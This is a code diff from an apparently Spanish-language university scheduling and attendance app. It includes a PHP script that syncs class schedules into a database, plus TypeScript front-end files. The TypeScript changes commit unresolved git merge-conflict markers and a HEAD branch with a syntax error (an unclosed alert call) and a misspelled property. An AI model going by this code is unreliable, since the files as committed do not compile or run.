+            $log = new LogCambios(__DIR__."/log/");
+            $log->appendLog($log_desc);
+        }
+    }
+
+    // Encontrar los "hash" que están en $sgu pero no están en $bd
+    $hashes_no_en_bd = array_diff($hashes_sgu, $hashes_bd);
+
+    //echo "hashes_no_en_bd ".count($hashes_no_en_bd)."<br>";
+    
+
+    if(count($hashes_no_en_bd)>0){
+        // Ahora puedes obtener los elementos completos que cumplen la condición original
+        $elementos_no_en_bd = array_filter($elementos_sgu_total, function ($item) use ($hashes_no_en_bd) {
+            return in_array($item['hash'], $hashes_no_en_bd);
+        });
+        if($debug){
+            echo "<br>Faltan ".count($elementos_no_en_bd)." en BD<br>";
+            print_r($elementos_no_en_bd); echo "<br>";
+        }
+        
+
+        //Inserts
+        foreach($elementos_no_en_bd as $row){
+            if($row["data"]["ClaveMateria"] == "-")
+                $row["data"]["ClaveMateria"] = "";
+            if($debug){
+                echo "<br>SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
+                .$row["data"]["ClaveDependencia"]."','"
+                .$row["data"]["ClaveCarrera"]."','"
+                .$row["data"]["NombreMateria"]."','"
+                .$row["data"]["ClaveMateria"]."','"
+                .$row["data"]["ClaveProfesor"]."','"
+                .$row["data"]["NombreProfesor"]."','"
+                .$row["data"]["CorreoElectronico"]."','"
+                .$row["data"]["Grupo"]."',"
+                .$row["data"]["IdEspacio"].","
+                .$row["per"].");";
+                if($row["data"]["EsMateriaPorAsignacion"]){ echo " ***Asignacion directa***";}
+            }else{
+                $horario_new_rs = $db->querySingle('SELECT * FROM fi_horario(:hoy, :ini, :fin, :dep, :carr, :nom_mat, :cve_mat, :cve_prof, :nom_prof, :correo, :gpo, :espacio, :periodo)',
+                    [":hoy"=>$dia_hoy,
+                    ":ini"=>$row["data"]["HoraInicio"],
+                    ":fin"=>$row["data"]["HoraFin"],
+                    ":dep"=>$row["data"]["ClaveDependencia"],
+                    ":carr"=>$row["data"]["ClaveCarrera"],
+                    ":nom_mat"=>$row["data"]["NombreMateria"],
+                    ":cve_mat"=>$row["data"]["ClaveMateria"],
+                    ":cve_prof"=>$row["data"]["ClaveProfesor"]==""?"000000":$row["data"]["ClaveProfesor"],
+                    ":nom_prof"=>$row["data"]["NombreProfesor"],
+                    ":correo"=>$row["data"]["CorreoElectronico"],
+                    ":gpo"=>$row["data"]["Grupo"],
+                    ":espacio"=>$row["data"]["IdEspacio"],
+                    ":periodo"=>$row["per"]
+                    ]
+                );
+                //echo $horario_new_rs["fi_horario"]."<br>";
+                if($horario_new_rs["fi_horario"] > 0){
+                    if($row["data"]["EsMateriaPorAsignacion"]){
+                        $matasig_rs = $db->querySingle('SELECT * FROM fi_materia_asignacion(:hor,:mat,:carr, :prof)',
+                            [":hor"=>$horario_new_rs["fi_horario"],
+                            ":mat"=>$row["data"]["NombreMateria"],
+                            ":carr"=>$row["data"]["Carrera"],
+                            ":prof"=>$row["data"]["NombreProfesor"]
+                            ]
+                        );
+                    }
+
+                    $log_desc .="SELECT * FROM fi_horario($dia_hoy, '".$row["data"]["HoraInicio"]."','".$row["data"]["HoraFin"]."','"
+                    .$row["data"]["ClaveDependencia"]."','"
+                    .$row["data"]["ClaveCarrera"]."','"
+                    .$row["data"]["NombreMateria"]."','"
+                    .$row["data"]["ClaveMateria"]."','"
+                    .$row["data"]["ClaveProfesor"]."','"
+                    .$row["data"]["NombreProfesor"]."','"
+                    .$row["data"]["CorreoElectronico"]."','"
+                    .$row["data"]["Grupo"]."',"
+                    .$row["data"]["IdEspacio"]."); [ID=".$horario_new_rs["fi_horario"]."] ##";
+                }
+                
+            }
+        }
+        if(!$debug && !empty($log_desc)){
+            $log = new LogCambios(__DIR__."/log/");
+            $log->appendLog($log_desc);
+        }
+        
+    }
+    $stmt = null; // cierra conexion
+
+    if($debug) {
+        echo "<br><br><hr><br><br>";
+        usort($elementos_sgu_total, 'compareByHash');
+        usort($elementos_bd_total, 'compareByHash');
+
+        echo "<table><tr>";
+        echo "<td valign='top'>";
+        echo "<h5>SGU [".count($elementos_sgu_total)."]</h5>";
+        foreach($elementos_sgu_total as $sgu){
+            echo $sgu["hash"]."<br>";
+        }
+        echo "</td>";
+        echo "<td valign='top'>";
+        echo "<h5>BD [".count($elementos_bd_total)."]</h5>";
+        foreach($elementos_bd_total as $sgu){
+            echo $sgu["hash"]." [".$sgu["horario_id"]."]<br>";
+        }
+        echo "</td>";
+        echo "</tr></table>";
+    }else{
+        $pdo->commit();
+        echo "Commit";
+    }
+} catch(PDOException $e) {
+    echo "Error";
+    "ERROR BD! ".$e->getMessage();
+    $pdo->rollBack();
+    if(!$debug){
+        $log = new LogCambios(__DIR__."/log/");
+        $log->appendLog("ERROR BD! ".$e->getMessage());
+    }
+    print_r($e->getMessage());
+} catch(Exception $e2){
+    echo "Error";
+    print_r($e2->getMessage());
+}
+
+
+?>

+ 30 - 0
ts/auditoría.ts

@@ -77,7 +77,10 @@ $('div.modal#cargando').modal({
 
 const store = reactive({
     loading: false,
+<<<<<<< HEAD
+=======
     perido: null as Periodo | null,
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
     current: {
         comentario: '',
         clase_vista: null,
@@ -217,8 +220,13 @@ const store = reactive({
             registro_fecha_justificacion: Date;
         };
         try {
+<<<<<<< HEAD
+            const res = await fetch('action/action_justificar.php', {
+                method: 'PUT',
+=======
             const res = await fetch('action/justificar.php', {
                 method: 'POST',
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
                 headers: {
                     'Content-Type': 'application/json'
                 },
@@ -238,6 +246,8 @@ const store = reactive({
         store.current.justificada.justificador_rol = data.justificador_rol
         store.current.justificada.registro_fecha_justificacion = data.registro_fecha_justificacion
     },
+<<<<<<< HEAD
+=======
     async justificarBloque(fecha: Date, bloques: Array<number>, justificacion: string) {
         if (bloques.length === 0) {
             alert('No se ha seleccionado ningún bloque');
@@ -273,6 +283,7 @@ const store = reactive({
             alert('Error al justificar');
         }
     },
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
     registros: {
         data: [] as Registro[],
         async fetch(fecha?: Date, fecha_inicio?: Date, fecha_fin?: Date) {
@@ -320,7 +331,11 @@ const store = reactive({
                 if one of the filters is null, then it is not relevant
     
             */
+<<<<<<< HEAD
+            const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0 )
+=======
             const filters = Object.keys(store.filters).filter((filtro) => store.filters[filtro] !== null || store.filters[filtro]?.length > 0)
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
             return this.data.filter((registro: Registro) => {
                 return filters.every((filtro) => {
                     switch (filtro) {
@@ -401,7 +416,10 @@ type Profesor = {
 }
 createApp({
     store,
+<<<<<<< HEAD
+=======
     messages: [] as Array<{ title: string, text: string, type: string, timestamp: string }>,
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
     get clase_vista() {
         return store.current.clase_vista
     },
@@ -418,6 +436,17 @@ createApp({
     profesores: [] as Profesor[],
     async mounted() {
         $('div.modal#cargando').modal('show');
+<<<<<<< HEAD
+
+        // await store.registros.fetch()
+        await store.facultades.fetch()
+        await store.estados.fetch()
+        await store.bloques_horario.fetch()
+        await store.filters.switchFechas()
+        this.profesores = await (await fetch('action/action_profesor.php')).json() as Profesor[];
+
+        $('div.modal#cargando').modal('hide');
+=======
         try {
 
             // await store.registros.fetch()
@@ -435,5 +464,6 @@ createApp({
         finally {
             $('div.modal#cargando').modal('hide');
         }
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
     }
 }).mount('#app')

+ 5 - 0
ts/faltas.ts

@@ -23,7 +23,12 @@ const app = createApp({
     },
 
     async refresh() {
+<<<<<<< HEAD
+        alert(`Facultad: ${filter.facultad} - Profesor: ${filter.profesor} - Porcentaje: ${filter.porcentaje}%`
+        if(filter.facultad == -1 || filter.porcetaje < 10) {
+=======
         if(filter.facultad == -1 || filter.porcentaje < 10) {
+>>>>>>> 7688f1aac1824c234bc5f19b154e9ad1f4808d4f
             return;
         }